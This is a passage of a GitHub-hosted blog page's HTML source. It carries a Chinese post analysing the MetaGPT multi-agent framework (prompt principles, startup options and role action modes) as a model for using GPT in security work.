-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.html
1446 lines (1034 loc) · 178 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE html>
<html lang="zh-Hans">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width">
<meta name="theme-color" content="#222"><meta name="generator" content="Hexo 5.4.0">
<link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png">
<link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png">
<link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png">
<link rel="mask-icon" href="/images/logo.svg" color="#222">
<link rel="stylesheet" href="/css/main.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.6.0/css/all.min.css" integrity="sha256-5eIC48iZUHmSlSUz9XtjRyK2mzQkHScZY1WdMaoz74E=" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/animate.css/3.1.1/animate.min.css" integrity="sha256-PR7ttpcvz8qrF57fur/yAx1qXMFJeJFiA6pSzWi0OIE=" crossorigin="anonymous">
<script class="next-config" data-name="main" type="application/json">{"hostname":"glassyamadeus.github.io","root":"/","images":"/images","scheme":"Muse","darkmode":false,"version":"8.21.0","exturl":false,"sidebar":{"position":"left","width_expanded":320,"width_dual_column":240,"display":"always","padding":18,"offset":12},"hljswrap":true,"copycode":{"enable":false,"style":null},"fold":{"enable":false,"height":500},"bookmark":{"enable":false,"color":"#222","save":"auto"},"mediumzoom":false,"lazyload":false,"pangu":false,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"stickytabs":false,"motion":{"enable":true,"async":false,"transition":{"menu_item":"fadeInDown","post_block":"fadeIn","post_header":"fadeInDown","post_body":"fadeInDown","coll_header":"fadeInLeft","sidebar":"fadeInUp"}},"prism":false,"i18n":{"placeholder":"Searching...","empty":"We didn't find any results for the search: ${query}","hits_time":"${hits} results found in ${time} ms","hits":"${hits} results found"}}</script><script src="/js/config.js"></script>
<meta name="description" content="Security&Development.">
<meta property="og:type" content="website">
<meta property="og:title" content="Glassy@Amadeus's Zone">
<meta property="og:url" content="https://glassyamadeus.github.io/index.html">
<meta property="og:site_name" content="Glassy@Amadeus's Zone">
<meta property="og:description" content="Security&Development.">
<meta property="og:locale">
<meta property="article:author" content="Glassy@Amadeus">
<meta name="twitter:card" content="summary">
<link rel="canonical" href="https://glassyamadeus.github.io/">
<script class="next-config" data-name="page" type="application/json">{"sidebar":"","isHome":true,"isPost":false,"lang":"zh-Hans","comments":"","permalink":"","path":"index.html","title":""}</script>
<script class="next-config" data-name="calendar" type="application/json">""</script>
<title>Glassy@Amadeus's Zone</title>
<noscript>
<link rel="stylesheet" href="/css/noscript.css">
</noscript>
</head>
<body itemscope itemtype="http://schema.org/WebPage" class="use-motion">
<div class="headband"></div>
<main class="main">
<div class="column">
<header class="header" itemscope itemtype="http://schema.org/WPHeader"><div class="site-brand-container">
<div class="site-nav-toggle">
<div class="toggle" aria-label="Toggle navigation bar" role="button">
<span class="toggle-line"></span>
<span class="toggle-line"></span>
<span class="toggle-line"></span>
</div>
</div>
<div class="site-meta">
<a href="/" class="brand" rel="start">
<i class="logo-line"></i>
<h1 class="site-title">Glassy@Amadeus's Zone</h1>
<i class="logo-line"></i>
</a>
<p class="site-subtitle" itemprop="description">Security&Development</p>
</div>
<div class="site-nav-right">
<div class="toggle popup-trigger" aria-label="Search" role="button">
</div>
</div>
</div>
<nav class="site-nav">
<ul class="main-menu menu"><li class="menu-item menu-item-about"><a href="/about/" rel="section"><i class="fa fa-user fa-fw"></i>About</a></li><li class="menu-item menu-item-tags"><a href="/tags/" rel="section"><i class="fa fa-tags fa-fw"></i>Tags</a></li><li class="menu-item menu-item-categories"><a href="/categories/" rel="section"><i class="fa fa-th fa-fw"></i>Categories</a></li><li class="menu-item menu-item-archives"><a href="/archives/" rel="section"><i class="fa fa-archive fa-fw"></i>Archives</a></li>
</ul>
</nav>
</header>
<aside class="sidebar">
<div class="sidebar-inner sidebar-overview-active">
<ul class="sidebar-nav">
<li class="sidebar-nav-toc">
Table of Contents
</li>
<li class="sidebar-nav-overview">
Overview
</li>
</ul>
<div class="sidebar-panel-container">
<!--noindex-->
<div class="post-toc-wrap sidebar-panel">
</div>
<!--/noindex-->
<div class="site-overview-wrap sidebar-panel">
<div class="site-author animated" itemprop="author" itemscope itemtype="http://schema.org/Person">
<img class="site-author-image" itemprop="image" alt="Glassy@Amadeus"
src="/images/glassyAmadeus.jpeg">
<p class="site-author-name" itemprop="name">Glassy@Amadeus</p>
<div class="site-description" itemprop="description">Security&Development.</div>
</div>
<div class="site-state-wrap animated">
<nav class="site-state">
<div class="site-state-item site-state-posts">
<a href="/archives/">
<span class="site-state-item-count">12</span>
<span class="site-state-item-name">posts</span>
</a>
</div>
<div class="site-state-item site-state-categories">
<a href="/categories/">
<span class="site-state-item-count">2</span>
<span class="site-state-item-name">categories</span></a>
</div>
<div class="site-state-item site-state-tags">
<a href="/tags/">
<span class="site-state-item-count">20</span>
<span class="site-state-item-name">tags</span></a>
</div>
</nav>
</div>
</div>
</div>
</div>
</aside>
</div>
<div class="main-inner index posts-expand">
<div class="post-block">
<article itemscope itemtype="http://schema.org/Article" class="post-content" lang="">
<link itemprop="mainEntityOfPage" href="https://glassyamadeus.github.io/2024/06/22/metagpt/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/glassyAmadeus.jpeg">
<meta itemprop="name" content="Glassy@Amadeus">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="Glassy@Amadeus's Zone">
<meta itemprop="description" content="Security&Development.">
</span>
<span hidden itemprop="post" itemscope itemtype="http://schema.org/CreativeWork">
<meta itemprop="name" content="undefined | Glassy@Amadeus's Zone">
<meta itemprop="description" content="">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2024/06/22/metagpt/" class="post-title-link" itemprop="url">从MetaGPT看如何高效的在安全领域运用GPT</a>
</h2>
<div class="post-meta-container">
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">Posted on</span>
<time title="Created: 2024-06-22 09:30:09" itemprop="dateCreated datePublished" datetime="2024-06-22T09:30:09+08:00">2024-06-22</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar-check"></i>
</span>
<span class="post-meta-item-text">Edited on</span>
<time title="Modified: 2024-09-27 14:42:57" itemprop="dateModified" datetime="2024-09-27T14:42:57+08:00">2024-09-27</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-folder"></i>
</span>
<span class="post-meta-item-text">In</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/AI%E5%AE%89%E5%85%A8/" itemprop="url" rel="index"><span itemprop="name">AI安全</span></a>
</span>
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h2 id="引言"><a href="#引言" class="headerlink" title="引言"></a>引言</h2><p>在近期对GPT在安全领域的应用中了解了部分高效Prompt和高效Agent流相关的基本原则，但这些概念都是偏理论的场景，偶然的机会了解到现阶段非常火热的一个开源GPT应用框架MetaGPT，这个框架以”软件公司“的形式非常专业的实现了高效Prompt及高效Agent流的落地，笔者以为这种落地思路会成为安全领域大模型落地的一个楔子，所以对框架的部分代码进行了分析，以此为依据，也为大模型在安全甲方的定位做了一个比较”虚“的畅享。</p>
<h2 id="高效GPT概述"><a href="#高效GPT概述" class="headerlink" title="高效GPT概述"></a>高效GPT概述</h2><p>关于高效GPT，笔者收集到两种业内认可度比较好的基本原则，</p>
<p>第一套基本原则，CRIPSE，是关于如何写出一句高效Prompt的方案，只要描述的是Prompt的细节，更详细的案例可以从文章末尾的Reference中获取，</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">CR：Capacity and Role（能力与角色）。你希望 AI 扮演怎样的角色</span><br><span class="line">I：Insight（洞察），提供背景信息和上下文</span><br><span class="line">S：Statement（陈述），你希望 AI 做什么。</span><br><span class="line">P：Personality（个性），你希望 AI 以什么风格或方式回答你。</span><br><span class="line">E：Experiment（实验），要求 AI 为你提供多个答案</span><br></pre></td></tr></table></figure>
<p>当拥有高效的Prompt编写能力后，如果通过进一步的与大模型交流，来提升结果质量，该内容源自吴恩达关于Agent工作流优化的分享</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">反思（Reflection）：当让大模型帮助完成某项工作后，取得结果再次交给GPT，并补充反思性语句，如首先让GPT写出一段代码，然后补充到”这是XXX的代码，请仔细检测代码的正确性、健全性、效率和良好的结构。“</span><br><span class="line">工具（Tools）：不仅仅通过GPT同时通过大量API协同（如Massive APIs）来提升最终产出结果。比较有代表性的就是Gorilla。</span><br><span class="line">规划（Planning）：将GPT要执行的任务分步进行，告诉它第一步做什么，第二步做什么，依次类推。</span><br><span class="line">多智体协同（Multi-agent）：让GPT去扮演不同角色，如项目经理、架构师、产品经理、工程师等，彼此分工，讨论，得出最优结果。</span><br></pre></td></tr></table></figure>
<h2 id="MetaGPT具体实现解读"><a href="#MetaGPT具体实现解读" class="headerlink" title="MetaGPT具体实现解读"></a>MetaGPT具体实现解读</h2><h3 id="目录概览"><a href="#目录概览" class="headerlink" title="目录概览"></a>目录概览</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">├── __init__.py ddd</span><br><span class="line">├── _compat.py</span><br><span class="line">├── actions 每项具体工作，及工作怎么完成，包含大量Prompt</span><br><span class="line">├── config</span><br><span class="line">├── config2.py</span><br><span class="line">├── configs</span><br><span class="line">├── const.py</span><br><span class="line">├── context.py</span><br><span class="line">├── context_mixin.py</span><br><span class="line">├── document.py</span><br><span class="line">├── document_store</span><br><span class="line">├── environment</span><br><span class="line">├── ext</span><br><span class="line">├── learn</span><br><span class="line">├── llm.py</span><br><span class="line">├── logs</span><br><span class="line">├── logs.py</span><br><span class="line">├── management</span><br><span class="line">├── memory</span><br><span class="line">├── metagpt</span><br><span class="line">├── prompts</span><br><span class="line">├── provider</span><br><span class="line">├── rag</span><br><span class="line">├── repo_parser.py</span><br><span class="line">├── roles 在这里定义具体角色、每个角色负责的工作</span><br><span class="line">├── schema.py</span><br><span class="line">├── skills</span><br><span class="line">├── software_company.py 主函数，在这里接收需求</span><br><span class="line">├── startup.py</span><br><span class="line">├── strategy</span><br><span class="line">├── subscription.py</span><br><span class="line">├── team.py</span><br><span class="line">├── tools</span><br><span class="line">├── utils</span><br><span class="line">└── workspace</span><br></pre></td></tr></table></figure>
<p>架构图如下，</p>
<img src="/2024/06/22/metagpt/1.jpg" class="" title="metagpt">
<h3 id="启动参数概述"><a href="#启动参数概述" class="headerlink" title="启动参数概述"></a>启动参数概述</h3><p>代码在下面给出，每个参数的意义均已经标明，比较常用的有code_review，用于代码review，提升代码质量。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">startup</span>(<span class="params"></span></span></span><br><span class="line"><span class="params"><span class="function"> idea: <span class="built_in">str</span> = typer.Argument(<span class="params"><span class="literal">None</span>, <span class="built_in">help</span>=<span class="string">"Your innovative idea, such as 'Create a 2048 game.'"</span></span>),</span></span></span><br><span class="line"><span class="params"><span class="function"> investment: <span class="built_in">float</span> = typer.Option(<span class="params">default=<span class="number">3.0</span>, <span class="built_in">help</span>=<span class="string">"Dollar amount to invest in the AI company."</span></span>),</span></span></span><br><span class="line"><span class="params"><span class="function"> n_round: <span class="built_in">int</span> = typer.Option(<span class="params">default=<span class="number">5</span>, <span class="built_in">help</span>=<span class="string">"Number of rounds for the simulation."</span></span>),</span></span></span><br><span class="line"><span class="params"><span class="function"> code_review: <span class="built_in">bool</span> = typer.Option(<span class="params">default=<span class="literal">True</span>, <span class="built_in">help</span>=<span class="string">"Whether to use code review."</span></span>),</span></span></span><br><span class="line"><span class="params"><span class="function"> run_tests: <span class="built_in">bool</span> = typer.Option(<span class="params">default=<span class="literal">False</span>, <span class="built_in">help</span>=<span class="string">"Whether to enable QA for adding & running tests."</span></span>),</span></span></span><br><span class="line"><span class="params"><span class="function"> implement: <span class="built_in">bool</span> = typer.Option(<span class="params">default=<span class="literal">True</span>, <span class="built_in">help</span>=<span class="string">"Enable or disable code implementation."</span></span>),</span></span></span><br><span class="line"><span class="params"><span class="function"> project_name: <span class="built_in">str</span> = typer.Option(<span class="params">default=<span class="string">""</span>, <span class="built_in">help</span>=<span class="string">"Unique project name, such as 'game_2048'."</span></span>),</span></span></span><br><span class="line"><span class="params"><span class="function"> inc: <span class="built_in">bool</span> = typer.Option(<span class="params">default=<span class="literal">False</span>, <span class="built_in">help</span>=<span class="string">"Incremental mode. Use it to coop with existing repo."</span></span>),</span></span></span><br><span class="line"><span class="params"><span class="function"> project_path: <span class="built_in">str</span> = typer.Option(<span class="params"></span></span></span></span><br><span class="line"><span class="params"><span class="params"><span class="function"> default=<span class="string">""</span>,</span></span></span></span><br><span class="line"><span class="params"><span class="params"><span class="function"> <span class="built_in">help</span>=<span class="string">"Specify the directory path of the old version project to fulfill the incremental requirements."</span>,</span></span></span></span><br><span class="line"><span class="params"><span class="params"><span class="function"> </span>),</span></span></span><br><span class="line"><span class="params"><span class="function"> reqa_file: <span class="built_in">str</span> = typer.Option(<span class="params"></span></span></span></span><br><span class="line"><span class="params"><span class="params"><span class="function"> default=<span class="string">""</span>, <span class="built_in">help</span>=<span class="string">"Specify the source file name for rewriting the quality assurance code."</span></span></span></span></span><br><span class="line"><span class="params"><span class="params"><span class="function"> </span>),</span></span></span><br><span class="line"><span class="params"><span class="function"> max_auto_summarize_code: <span class="built_in">int</span> = typer.Option(<span class="params"></span></span></span></span><br><span class="line"><span class="params"><span class="params"><span class="function"> default=<span class="number">0</span>,</span></span></span></span><br><span class="line"><span class="params"><span class="params"><span class="function"> <span class="built_in">help</span>=<span class="string">"The maximum number of times the 'SummarizeCode' action is automatically invoked, with -1 indicating "</span></span></span></span></span><br><span class="line"><span class="params"><span class="params"><span class="function"> <span class="string">"unlimited. This parameter is used for debugging the workflow."</span>,</span></span></span></span><br><span class="line"><span class="params"><span class="params"><span class="function"> </span>),</span></span></span><br><span class="line"><span class="params"><span class="function"> recover_path: <span class="built_in">str</span> = typer.Option(<span class="params">default=<span class="literal">None</span>, <span class="built_in">help</span>=<span class="string">"recover the project from existing serialized storage"</span></span>),</span></span></span><br><span class="line"><span class="params"><span class="function"> init_config: <span class="built_in">bool</span> = typer.Option(<span class="params">default=<span class="literal">False</span>, <span class="built_in">help</span>=<span class="string">"Initialize the configuration file for MetaGPT."</span></span>),</span></span></span><br><span class="line"><span class="params"><span class="function"></span>)</span></span><br></pre></td></tr></table></figure>
<h4 id="code-review"><a href="#code-review" class="headerlink" title="code_review"></a>code_review</h4><p>当开启–code-review的时候，体现在代码层面上，就是为这个项目添加一个合作角色Engineer,他的主要工作是WriteCodeReview</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">company.hire([Engineer(n_borg=<span class="number">5</span>, use_code_review=code_review)])</span><br></pre></td></tr></table></figure>
<p>关于Engineer这个类的第一个参数n_borg也非常有意思，n_borg代表博格人的数量，而这个博格人的官方解释如下</p>
<blockquote>
<p>博格文明以蜂巢或集体思维方式运作，称为“集体”。每个博格个体都通过复杂的亚空间网络连接到集体，确保对每个成员的持续监督和指导。这种集体意识不仅使他们能够“共享相同的思想”，还使他们能够迅速适应新策略。虽然集体的个体成员很少交流，但有时集体的“声音”会在船上传输。<br>目前该参数虽然已经具备，但在代码中的使用还没有，所以我更偏向于这个参数的定位在未来也是去做类似于CRISPE框架中E的工作。</p>
</blockquote>
<h3 id="使用效果展示"><a href="#使用效果展示" class="headerlink" title="使用效果展示"></a>使用效果展示</h3><p>MetaGpt在演示使用的时候，主要展示的是一个软件公司的工作流程，通过创造multi agent扮演产品经理、架构师、产品经理、工程师，为不同角色设定任务，实现了完整的Developing SOP流程</p>
<img src="/2024/06/22/metagpt/2.jpg" class="" title="metagpt">
<p>比如当我执行”写一个贪吃蛇程序“命令，</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 software_company.py --code-review <span class="string">"写一个贪吃蛇程序"</span> </span><br></pre></td></tr></table></figure>
<p>那么首先，这个任务会交给项目经理Agent，项目经理Agent基于已经编写好的模版会去找GPT生成PRD</p>
<img src="/2024/06/22/metagpt/6.jpg" class="" title="metagpt">
<p>紧接着，拿到PRD后，会把PRD交给团队的每个人，架构师Agent接过PRD，进行架构设计</p>
<img src="/2024/06/22/metagpt/7.jpg" class="" title="metagpt">
<p>架构设计完成后再交给产品经理进行定制任务</p>
<img src="/2024/06/22/metagpt/8.jpg" class="" title="metagpt">
<p>以此类推，接着交给工程师就行代码编写等等，直到任务完成。</p>
<h3 id="核心代码解读-role"><a href="#核心代码解读-role" class="headerlink" title="核心代码解读-role"></a>核心代码解读-role</h3><p>role提供三种工作模式，具体解释如下面给出的注释，粗略的可以解释为</p>
<ol>
<li>react模式：默认模式，也是现在最推崇的模式，让大模型明确自己的角色后，不断思考自己现在要做什么，接下来要做什么，再行动，完成需要做的事情，通过不断反思、行动，达成一个最佳结果。</li>
<li>by_order模式：提前为角色定制好自己要做的事情，然后角色根据定制好的行动，依次交给大模型去完成。</li>
<li>plan_and_act：首先让大模型思考自己要做哪些事情，然后依次让大模型去完成，相比于by_order模式，唯一的区别就是行动不再由代码提前设定好。</li>
</ol>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">"""Set strategy of the Role reacting to observed Message. Variation lies in how</span></span><br><span class="line"><span class="string">this Role elects action to perform during the _think stage, especially if it is capable of multiple Actions.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Args:</span></span><br><span class="line"><span class="string"> react_mode (str): Mode for choosing action during the _think stage, can be one of:</span></span><br><span class="line"><span class="string"> "react": standard think-act loop in the ReAct paper, alternating thinking and acting to solve the task, i.e. _think -> _act -> _think -> _act -> ...</span></span><br><span class="line"><span class="string"> Use llm to select actions in _think dynamically;</span></span><br><span class="line"><span class="string"> "by_order": switch action each time by order defined in _init_actions, i.e. _act (Action1) -> _act (Action2) -> ...;</span></span><br><span class="line"><span class="string"> "plan_and_act": first plan, then execute an action sequence, i.e. _think (of a plan) -> _act -> _act -> ...</span></span><br><span class="line"><span class="string"> Use llm to come up with the plan dynamically.</span></span><br><span class="line"><span class="string"> Defaults to "react".</span></span><br><span class="line"><span class="string"> max_react_loop (int): Maximum react cycles to execute, used to prevent the agent from reacting forever.</span></span><br><span class="line"><span class="string"> Take effect only when react_mode is react, in which we use llm to choose actions, including termination.</span></span><br><span class="line"><span class="string"> Defaults to 1, i.e. _think -> _act (-> return result and end)</span></span><br><span class="line"><span class="string">"""</span></span><br></pre></td></tr></table></figure>
<p>首先可以先理解一下think和act的时候，分别去干什么</p>
<ol>
<li>think的核心动作有两个，首先确定当前要做什么，然后确定接下来要去做什么</li>
<li>act发生在think后，明确了要做什么，就把任务交给llm，让大模型去完成当前要做的事情</li>
</ol>
<p>了解了基本动作，就可以去看一下MetaGPT中的三种工作模式，代码基本就是上面解释的翻译，感兴趣的可以看一下，不过多赘述细节</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="function"><span class="keyword">def</span> <span class="title">_react</span>(<span class="params">self</span>) -> Message:</span></span><br><span class="line"> <span class="string">"""Think first, then act, until the Role _think it is time to stop and requires no more todo.</span></span><br><span class="line"><span class="string"> This is the standard think-act loop in the ReAct paper, which alternates thinking and acting in task solving, i.e. _think -> _act -> _think -> _act -> ...</span></span><br><span class="line"><span class="string"> Use llm to select actions in _think dynamically</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> actions_taken = <span class="number">0</span></span><br><span class="line"> rsp = Message(content=<span class="string">"No actions taken yet"</span>, cause_by=Action) <span class="comment"># will be overwritten after Role _act</span></span><br><span class="line"> <span class="keyword">while</span> actions_taken < self.rc.max_react_loop:</span><br><span class="line"> <span class="comment"># think</span></span><br><span class="line"> todo = <span class="keyword">await</span> self._think()</span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> todo:</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> <span class="comment"># act</span></span><br><span class="line"> logger.debug(<span class="string">f"<span class="subst">{self._setting}</span>: <span class="subst">{self.rc.state=}</span>, will do <span class="subst">{self.rc.todo}</span>"</span>)</span><br><span class="line"> rsp = <span class="keyword">await</span> self._act()</span><br><span class="line"> actions_taken += <span class="number">1</span></span><br><span class="line"> <span class="keyword">return</span> rsp <span class="comment"># return output from the last action</span></span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>by_order模式源码如下</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="function"><span class="keyword">def</span> <span class="title">_act_by_order</span>(<span class="params">self</span>) -> Message:</span></span><br><span class="line"> <span class="string">"""switch action each time by order defined in _init_actions, i.e. _act (Action1) -> _act (Action2) -> ..."""</span></span><br><span class="line"> start_idx = self.rc.state <span class="keyword">if</span> self.rc.state >= <span class="number">0</span> <span class="keyword">else</span> <span class="number">0</span> <span class="comment"># action to run from recovered state</span></span><br><span class="line"> rsp = Message(content=<span class="string">"No actions taken yet"</span>) <span class="comment"># return default message if actions=[]</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(start_idx, <span class="built_in">len</span>(self.states)):</span><br><span class="line"> self._set_state(i)</span><br><span class="line"> rsp = <span class="keyword">await</span> self._act()</span><br><span class="line"> <span class="keyword">return</span> rsp <span class="comment"># return output from the last action</span></span><br></pre></td></tr></table></figure>
<p>plan_and_act模式源码如下</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="function"><span class="keyword">def</span> <span class="title">_plan_and_act</span>(<span class="params">self</span>) -> Message:</span></span><br><span class="line"> <span class="string">"""first plan, then execute an action sequence, i.e. _think (of a plan) -> _act -> _act -> ... Use llm to come up with the plan dynamically."""</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># create initial plan and update it until confirmation</span></span><br><span class="line"> goal = self.rc.memory.get()[-<span class="number">1</span>].content <span class="comment"># retreive latest user requirement</span></span><br><span class="line"> <span class="keyword">await</span> self.planner.update_plan(goal=goal)</span><br><span class="line"></span><br><span class="line"> <span 